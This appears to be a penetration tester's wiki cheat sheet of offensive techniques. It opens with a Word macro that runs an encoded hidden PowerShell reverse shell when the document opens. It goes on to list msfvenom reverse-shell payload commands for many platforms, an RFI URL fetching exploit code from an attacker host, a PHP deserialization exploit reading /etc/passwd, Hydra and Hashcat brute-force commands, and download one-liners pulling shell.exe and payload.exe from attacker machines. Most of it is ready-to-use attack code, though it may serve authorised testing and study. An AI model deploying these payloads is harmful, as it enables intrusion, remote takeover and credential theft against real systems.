# The below script will send a reverse shell powershell command&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim Str As String&lt;br /&gt;
Str = &amp;quot;powershell.exe -nop -w hidden -e JABzACAAPQAgAE4AZ&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QB3AC0ATwBiAGoAZQBjAHQAIABJAE8ALgBNAGUAbQBvAHIAeQB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;TAHQAcgBlAGEAbQAoACwAWwBDAG8AbgB2AGUAcgB0AF0AOgA6A&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;EYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAnAEg&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;ANABzAEkAQQBBAEEAQQBBAEEAQQBFAEEATAAxAFgANgAyACsAY&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;gBTAEIARAAvAG4ARQBqADUASAAvAGgAZwBDAFoAQwBJAFoAUgB&amp;quot;&lt;br /&gt;
...&lt;br /&gt;
Str = Str + &amp;quot;AZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0Ac&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AByAGUAcwBzACkADQAKACQAcwB0AHIAZQBhAG0AIAA9ACAATgB&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;lAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAFMAdAByAGUAYQBtA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;FIAZQBhAGQAZQByACgAJABnAHoAaQBwACkADQAKAGkAZQB4ACA&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;AJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAVABvAEUAbgBkACgAK&amp;quot;&lt;br /&gt;
Str = Str + &amp;quot;QA=&amp;quot;&lt;br /&gt;
CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run Str&lt;br /&gt;
End Sub&lt;br /&gt;
------------------------&lt;br /&gt;
# Script to generate Str = Str + payloads. Generate a payload with revshells.com and &#039;Powershell#3 Base64&#039;&lt;br /&gt;
┌──(root💀kali)-[/home/…/Desktop/Reverse-Shell-From-Word-Document]&lt;br /&gt;
└─# cat payload.py&lt;br /&gt;
str=&amp;quot;powershell -e JABjAGwAaQBlAG4AdAAgAD...&amp;quot;&lt;br /&gt;
n=50&lt;br /&gt;
for i in range(0,len(str),n):&lt;br /&gt;
    print(&amp;quot;Str = str+&amp;quot; + &#039;&amp;quot;&#039; + str[i:i+n] +&#039;&amp;quot;&#039;)&lt;br /&gt;
&lt;br /&gt;
...................................&lt;br /&gt;
# The below script will ping target.&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
    MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
    CreateObject(&amp;quot;Wscript.Shell&amp;quot;).Run &amp;quot;Ping.exe -t 192.168.119.182&amp;quot;&lt;br /&gt;
End Sub&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-4.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== LibreOffice Basic ===&lt;br /&gt;
&lt;br /&gt;
===  ===&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111937.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-Pasted-image-20220704111909.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
Make sure this macro is run when the document is opened. Close the macro editors, and back in the document, go to Tools –&amp;gt; Customize and select Open Document.&lt;br /&gt;
&lt;br /&gt;
[[File:2022-08-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Mitre Framework ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Title&lt;br /&gt;
! URL&lt;br /&gt;
! Short Description&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Engage&lt;br /&gt;
| [https://engage.mitre.org/ https://engage.mitre.org/]&lt;br /&gt;
| MITRE Engage is a platform for collaboration and engagement in the cybersecurity community.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE ATT&amp;amp;CK&lt;br /&gt;
| [https://attack.mitre.org/ https://attack.mitre.org/]&lt;br /&gt;
| MITRE ATT&amp;amp;CK is a knowledge base for adversary tactics and techniques used in cyberattacks.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE Cyber Analytics Repository (CAR)&lt;br /&gt;
| [https://car.mitre.org/ https://car.mitre.org/]&lt;br /&gt;
| CAR is a repository of analytics for cybersecurity, providing detection and analytics capabilities.&lt;br /&gt;
|-&lt;br /&gt;
| MITRE D3FEND&lt;br /&gt;
| [https://d3fend.mitre.org/ https://d3fend.mitre.org/]&lt;br /&gt;
| D3FEND focuses on defensive techniques to protect against adversary tactics described in ATT&amp;amp;CK.&lt;br /&gt;
|-&lt;br /&gt;
| Common Vulnerabilities and Exposures (CVE)&lt;br /&gt;
| [https://cve.mitre.org/ https://cve.mitre.org/]&lt;br /&gt;
| CVE is a dictionary of common identifiers for publicly known cybersecurity vulnerabilities.&lt;br /&gt;
|-&lt;br /&gt;
| Common Attack Pattern Enumeration and Classification (CAPEC)&lt;br /&gt;
| [https://capec.mitre.org/ https://capec.mitre.org/]&lt;br /&gt;
| CAPEC is a catalog of common attack patterns used by adversaries in cybersecurity.&lt;br /&gt;
|-&lt;br /&gt;
| Common Weakness Enumeration (CWE)&lt;br /&gt;
| [https://cwe.mitre.org/ https://cwe.mitre.org/]&lt;br /&gt;
| CWE is a community-developed list of common software and hardware weaknesses.&lt;br /&gt;
|-&lt;br /&gt;
| Malware Attribute Enumeration and Characterization (MAEC)&lt;br /&gt;
| [https://maecproject.github.io/ https://maecproject.github.io/]&lt;br /&gt;
| MAEC is a project for standardizing the encoding and communication of malware characteristics.&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Monitor Processes ==&lt;br /&gt;
&lt;br /&gt;
=== Process Explorer ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/process-explorer Process Explorer - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Explorer is a task manager and system monitoring utility. It provides detailed information about running processes, their resource usage, and the relationship between processes.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Real-time monitoring of active processes, threads, and modules.&lt;br /&gt;
&lt;br /&gt;
* Hierarchical view of processes, showing parent-child relationships.&lt;br /&gt;
&lt;br /&gt;
* Detailed information about process properties, memory usage, and CPU utilization.&lt;br /&gt;
&lt;br /&gt;
* Identification of the processes responsible for specific open handles or DLLs.&lt;br /&gt;
&lt;br /&gt;
* Capabilities to suspend, terminate, or explore processes.&lt;br /&gt;
&lt;br /&gt;
* Integration with VirusTotal to scan processes for malware.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Explorer is commonly used for diagnosing system performance issues, troubleshooting process-related problems, and gaining insight into the overall system activity.&lt;br /&gt;
&lt;br /&gt;
=== Process Monitor ===&lt;br /&gt;
&lt;br /&gt;
[https://learn.microsoft.com/en-us/sysinternals/downloads/procmon Process Monitor - Sysinternals | Microsoft Learn]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Purpose:&#039;&#039;&#039; Process Monitor is a real-time system monitoring tool that captures and displays in-depth information about file system, registry, and process/thread activity on a Windows system.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Detailed tracking of file system and registry operations, including reads, writes, and modifications.&lt;br /&gt;
&lt;br /&gt;
* Capturing of process and thread activity, including creation, termination, and interactions.&lt;br /&gt;
&lt;br /&gt;
* Filtering and searching capabilities to narrow down the captured data.&lt;br /&gt;
&lt;br /&gt;
* Advanced filtering to include/exclude specific processes, operations, or paths.&lt;br /&gt;
&lt;br /&gt;
* Ability to generate logs for analysis and troubleshooting.&lt;br /&gt;
&lt;br /&gt;
* Integration with other Sysinternals tools like Autoruns and TCPView.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Use Case:&#039;&#039;&#039; Process Monitor is often used to troubleshoot issues related to file system or registry access, such as debugging application failures, identifying permission problems, or tracking down malware activities.&lt;br /&gt;
&lt;br /&gt;
=== Process Hacker ===&lt;br /&gt;
&lt;br /&gt;
[https://processhacker.sourceforge.io/ https://processhacker.sourceforge.io/]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Focus:&#039;&#039;&#039; Process Hacker aims to provide an advanced task manager with detailed process information and control options.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Features:&#039;&#039;&#039;&lt;br /&gt;
Comprehensive process details, memory usage, and performance metrics.&lt;br /&gt;
&lt;br /&gt;
* Real-time graphs for system resource monitoring.&lt;br /&gt;
&lt;br /&gt;
* Advanced process management, including termination, suspension, and prioritization.&lt;br /&gt;
&lt;br /&gt;
* Tools for viewing and manipulating network connections and memory content.&lt;br /&gt;
&lt;br /&gt;
* Support for plugins to extend functionality.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Common Uses:&#039;&#039;&#039; In-depth process analysis, identifying resource bottlenecks, managing and troubleshooting running processes.&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Msfvenom commands ==&lt;br /&gt;
&lt;br /&gt;
=== What is exitfunc= in msfvenom ===&lt;br /&gt;
&lt;br /&gt;
Exitfunc tells the payload what to do when it is done with its attack. It can be one of these four options:&lt;br /&gt;
&lt;br /&gt;
* none: do nothing and keep running&lt;br /&gt;
&lt;br /&gt;
* seh: use a special technique to exit without crashing&lt;br /&gt;
&lt;br /&gt;
* thread: stop the part of the program that runs the payload and leave the rest alone&lt;br /&gt;
&lt;br /&gt;
* process: kill the whole program that runs the payload&lt;br /&gt;
&lt;br /&gt;
The best option depends on the situation and the goal of the attack. For example, if you want to be stealthy and avoid detection, you might choose thread or seh. If you want to cause damage and disruption, you might choose process or none. You can learn more about exitfunc and its options from this article.&lt;br /&gt;
&lt;br /&gt;
=== ASP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
ASP or ASPX&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f asp or aspx &amp;gt; rev_shell.asp or aspx&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Bash ===&lt;br /&gt;
&lt;br /&gt;
=== hta ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
#  Use msfvenom to turn basic HTML Application into an attack, relying on the hta-psh output format to create an HTA payload based on PowerShell.&lt;br /&gt;
sudo msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.4 LPORT=4444 -f hta-psh -o /var/www/html/evil.hta&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== JSP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.jsp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== WAR ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p java/jsp_shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f war &amp;gt; shell.war&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== PHP ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.php&lt;br /&gt;
msfvenom -p php/reverse_php LHOST= LPORT= -f raw &amp;gt; shell.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Python ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Python&lt;br /&gt;
msfvenom -p cmd/unix/reverse_python LHOST=10.10.X.X LPORT=XXXX -f raw &amp;gt; rev_shell.py&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Perl ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_perl LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.pl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Very important! Remember to choose correct CPU architecture before generating payload. If using for macro, Word will usually open PowerShell in 32-bit since it opens PowerShell from SysWOW64. Otherwise, use 64-bit. Always check target CPU arch before generating.&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f ps1&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.123 LPORT=443 -f psh -o shell.ps1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Linux ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Linux x64&lt;br /&gt;
msfvenom -p linux/x64/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x64.elf&lt;br /&gt;
# Linux x86&lt;br /&gt;
msfvenom -p linux/x86/shell/reverse_tcp LHOST= LPORT= -f elf &amp;gt; shell-x86.elf&lt;br /&gt;
# UNIX CMD&lt;br /&gt;
$ msfvenom -p cmd/unix/reverse_bash LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f raw &amp;gt; shell.sh&lt;br /&gt;
# Fork a new process, xor encrypted&lt;br /&gt;
sudo msfvenom -p linux/x64/shell_reverse_tcp LHOST=tun1 LPORT=443 prependfork=true -f elf -t 300 -e x64/xor_dynamic -o test.elf&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== OSX ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
$ msfvenom -p osx/x86/shell_reverse_tcp LHOST=&amp;quot;10.0.0.1&amp;quot; LPORT=4242 -f macho &amp;gt; shell.macho&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Windows ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
MSI&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.X.X LPORT=XXXX -f msi &amp;gt; rev_shell.msi&lt;br /&gt;
Windows x64&lt;br /&gt;
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_x64_shell.exe&lt;br /&gt;
Windows&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.119.185 LPORT=443 -f psh-cmd&lt;br /&gt;
Windows encoded payload&lt;br /&gt;
msfvenom -a x86 --platform Windows -p windows/shell/bind_tcp -e x86/shikata_ga_nai -b &#039;\x00&#039; -i 3 -f python&lt;br /&gt;
-e = encoding&lt;br /&gt;
-i = iteration (how many times to encode the payload)&lt;br /&gt;
-b = bad character&lt;br /&gt;
Stageless&lt;br /&gt;
msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Staged&lt;br /&gt;
msfvenom -p windows/shell/reverse_tcp LHOST=IP LPORT=PORT -f exe &amp;gt; rev_shell.exe&lt;br /&gt;
Generating shellcode&lt;br /&gt;
msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f c&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Fuzzers ==&lt;br /&gt;
&lt;br /&gt;
=== ffuf ===&lt;br /&gt;
&lt;br /&gt;
[https://www.tsustyle.com/cheatsheets/ffuf-cheatsheet/ Source]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generic&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ&lt;br /&gt;
# File discovery using extensions&lt;br /&gt;
ffuf -w wordlist.txt -u http://site.com/FUZZ -e .php,.html&lt;br /&gt;
# Vhost&lt;br /&gt;
ffuf -w subdomains.txt -u http://site.com/ -H &amp;quot;Host: FUZZ.site.com&amp;quot;&lt;br /&gt;
# Login forms generic&lt;br /&gt;
ffuf -w /wordlist -d &amp;quot;username=admin&amp;amp;password=FUZZ&amp;quot; -H &amp;quot;Content-Type: application/x-www-form-urlencoded&amp;quot; -u http://site.com/login&lt;br /&gt;
# POST bruteforce. -fs means filter out size 17.&lt;br /&gt;
ffuf -X POST -H &#039;Content-Type: application/json&#039; -d &#039;{&amp;quot;user&amp;quot;:&amp;quot;FUZZ&amp;quot;, &amp;quot;url&amp;quot;:&amp;quot;192.168.49.153/shell.elf&amp;quot;}&#039; -u http://192.168.153.134:13337/update -w /usr/share/seclists/Usernames/xato-net-10-million-usernames-dup.txt -fs 17&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== wfuzz ===&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Password Cracking ==&lt;br /&gt;
&lt;br /&gt;
=== Hashcat ===&lt;br /&gt;
&lt;br /&gt;
Example commands&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Attack-mode&lt;br /&gt;
! Hash-type&lt;br /&gt;
! Example command&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist&lt;br /&gt;
| $P$&lt;br /&gt;
| hashcat -a 0 -m 400 example400.hash example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Wordlist + Rules&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 0 -m 0 example0.hash example.dict -r rules/best64.rule&lt;br /&gt;
|-&lt;br /&gt;
| Brute-Force&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 3 -m 0 example0.hash ?a?a?a?a?a?a&lt;br /&gt;
|-&lt;br /&gt;
| Combinator&lt;br /&gt;
| MD5&lt;br /&gt;
| hashcat -a 1 -m 0 example0.hash example.dict example.dict&lt;br /&gt;
|-&lt;br /&gt;
| Association&lt;br /&gt;
| $1$&lt;br /&gt;
| hashcat -a 9 -m 500 example500.hash 1word.dict -r rules/best64.rule&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=hashcat&lt;br /&gt;
&lt;br /&gt;
==== Mask attack ====&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| ?l =&lt;br /&gt;
| abcdefghijklmnopqrstuvwxyz&lt;br /&gt;
|-&lt;br /&gt;
| ?u&lt;br /&gt;
| ABCDEFGHIJKLMNOPQRSTUVWXYZ&lt;br /&gt;
|-&lt;br /&gt;
| ?d&lt;br /&gt;
| 0123456789&lt;br /&gt;
|-&lt;br /&gt;
| ?h&lt;br /&gt;
| 0123456789abcdef&lt;br /&gt;
|-&lt;br /&gt;
| ?H&lt;br /&gt;
| 0123456789ABCDEF&lt;br /&gt;
|-&lt;br /&gt;
| ?s&lt;br /&gt;
| «space»!&amp;quot;#$%&amp;amp;&#039;()*+,-./:;&amp;lt;=&amp;gt;?@[\]^_`{|}~&lt;br /&gt;
|-&lt;br /&gt;
| ?a&lt;br /&gt;
| ?l?u?d?s&lt;br /&gt;
|-&lt;br /&gt;
| ?b&lt;br /&gt;
| 0x00 - 0xff&lt;br /&gt;
|}&lt;br /&gt;
https://hashcat.net/wiki/doku.php?id=mask_attack&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Example command&lt;br /&gt;
hashcat.exe --session session1 -m 22000 --force -a 0 -w 3 hash2.hc22000 &amp;quot;C:\Users\user\Skrivebord\hashcat-6.2.4\SecLists-master\Passwords\WiFi-WPA\*&amp;quot; -r &amp;quot;rules\best64.rule&amp;quot;&lt;br /&gt;
# Restore session&lt;br /&gt;
hashcat.exe --session session1 --restore&lt;br /&gt;
# Show cracked hashes&lt;br /&gt;
hashcat.exe hash2.hc22000 -m 22000 --show&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Hydra ===&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
| Command&lt;br /&gt;
| Description&lt;br /&gt;
|-&lt;br /&gt;
| hydra -P &amp;lt;wordlist&amp;gt; -v &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| Brute force against a protocol of your choice&lt;br /&gt;
|-&lt;br /&gt;
| hydra -v -V -u -L &amp;lt;username list&amp;gt; -P &amp;lt;password list&amp;gt; -t 1 -u &amp;lt;ip&amp;gt; &amp;lt;protocol&amp;gt;&lt;br /&gt;
| You can use Hydra to bruteforce usernames as well as passwords. It will loop through every combination in your lists. (-vV = verbose mode, showing login attempts)&lt;br /&gt;
|-&lt;br /&gt;
| hydra -t 1 -V -f -l &amp;lt;username&amp;gt; -P &amp;lt;wordlist&amp;gt; rdp://&amp;lt;ip&amp;gt;&lt;br /&gt;
| Attack a Windows Remote Desktop with a password list.&lt;br /&gt;
|-&lt;br /&gt;
| hydra -l &amp;lt;username&amp;gt; -P .&amp;lt;password list&amp;gt; $ip -V http-form-post &#039;/wp-login.php:log=^USER^&amp;amp;pwd=^PASS^&amp;amp;wp-submit=Log In&amp;amp;testcookie=1:S=Location&#039;&lt;br /&gt;
| Craft a more specific request for Hydra to brute force.&lt;br /&gt;
|}&lt;br /&gt;
https://www.tryhackme.com/room/hackpark&lt;br /&gt;
&lt;br /&gt;
=== John The Ripper ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1022&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== PHP ==&lt;br /&gt;
&lt;br /&gt;
=== shell_exec ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;php&amp;quot;&amp;gt;&lt;br /&gt;
# If RFI dosent execute script, try this&lt;br /&gt;
# Create exploit.php&lt;br /&gt;
# cat exploit.php&lt;br /&gt;
&lt;br /&gt;
# Execute&lt;br /&gt;
http://10.11.1.35/section.php?page=http://192.168.119.182:8888/exploit3.php&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Deserialization attack ===&lt;br /&gt;
&lt;br /&gt;
See notes for Deployer&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# In the index file below there is a PHP objection injection. The vulnerability occurs when user-supplied input is not properly sanitized before being passed to the unserialize() PHP function.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat 192.168.153.158/web/dev/index.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
if (!isset($_POST[&#039;page&#039;])){&lt;br /&gt;
        if (strpos(urldecode($_GET[&#039;page&#039;]),&#039;..&#039;)!==false){&lt;br /&gt;
                include(&#039;/var/www/dev/lfi-prev.html&#039;);&lt;br /&gt;
                }&lt;br /&gt;
        else{&lt;br /&gt;
                include(&#039;/var/www/dev/&#039;.$_GET[&#039;page&#039;]);&lt;br /&gt;
        }&lt;br /&gt;
        }&lt;br /&gt;
else{&lt;br /&gt;
        $f=$_POST[&#039;page&#039;];&lt;br /&gt;
        unserialize($f);&lt;br /&gt;
}&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Create a PHP script that will create a serialized script. Notice the class is the same as the index.php. We then take the variable $f. &#039;-&amp;gt;&#039; is used in object scope to access methods and properties of an object.&lt;br /&gt;
┌──(root💀kali)-[~aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# cat real_exploit.php&lt;br /&gt;
file);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
$f = new Page;&lt;br /&gt;
$f-&amp;gt;file=&#039;/etc/passwd&#039;;&lt;br /&gt;
echo urlencode(serialize($f));&lt;br /&gt;
?&amp;gt;&lt;br /&gt;
&lt;br /&gt;
# Then we send the output string, which is urlencoded, to the vulnerable parameter and we will have LFI.&lt;br /&gt;
┌──(root💀kali)-[/home/aghanim/Desktop/PG/deployer]&lt;br /&gt;
└─# curl -XPOST -d &#039;page=O%3A4%3A%22Page%22%3A1%3A%7Bs%3A4%3A%22file%22%3Bs%3A11%3A%22%2Fetc%2Fpasswd%22%3B%7D &#039; http://und3r_dev.deployer.off/index.php&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Transfering files ==&lt;br /&gt;
&lt;br /&gt;
=== A list of all commands ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# CMD&lt;br /&gt;
# Bitsadmin.exe&lt;br /&gt;
bitsadmin /create 1 bitsadmin /addfile 1 https://live.sysinternals.com/autoruns.exe c:\data\playfolder\autoruns.exe bitsadmin /RESUME 1 bitsadmin /complete 1&lt;br /&gt;
# CertReq.exe&lt;br /&gt;
CertReq -Post -config https://example.org/ c:\windows\win.ini output.txt&lt;br /&gt;
# Certutil.exe&lt;br /&gt;
certutil.exe -urlcache -split -f &amp;quot;http://10.10.14.13:8000/shell.exe&amp;quot; s.exe&lt;br /&gt;
# CrackMapExec&lt;br /&gt;
crackmapexec smb 172.16.251.152 -u user -p pass --put-file /tmp/whoami.txt \\Windows\\Temp\\whoami.txt&lt;br /&gt;
# Desktopimgdownldr.exe&lt;br /&gt;
set &amp;quot;SYSTEMROOT=C:\Windows\Temp&amp;quot; &amp;amp;&amp;amp; cmd /c desktopimgdownldr.exe /lockscreenurl:https://domain.com:8080/file.ext /eventName:desktopimgdownldr&lt;br /&gt;
# Diantz.exe&lt;br /&gt;
diantz.exe \\remotemachine\pathToFile\file.exe c:\destinationFolder\file.cab&lt;br /&gt;
# Esentutl.exe&lt;br /&gt;
esentutl.exe /y \\live.sysinternals.com\tools\adrestore.exe /d \\otherwebdavserver\webdav\adrestore.exe /o&lt;br /&gt;
# Expand.exe&lt;br /&gt;
expand \\webdav\folder\file.bat c:\ADS\file.bat&lt;br /&gt;
# Extrac32.exe&lt;br /&gt;
extrac32 /Y /C \\webdavserver\share\test.txt C:\folder\test.txt&lt;br /&gt;
# Findstr.exe&lt;br /&gt;
findstr /V /L W3AllLov3DonaldTrump \\webdavserver\folder\file.exe &amp;gt; c:\ADS\file.exe&lt;br /&gt;
# Ftp.exe&lt;br /&gt;
cmd.exe /c &amp;quot;@echo open attacker.com 21&amp;gt;ftp.txt&amp;amp;@echo USER attacker&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo PASS PaSsWoRd&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo binary&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo GET /payload.exe&amp;gt;&amp;gt;ftp.txt&amp;amp;@echo quit&amp;gt;&amp;gt;ftp.txt&amp;amp;@ftp -s:ftp.txt -v&amp;quot;&lt;br /&gt;
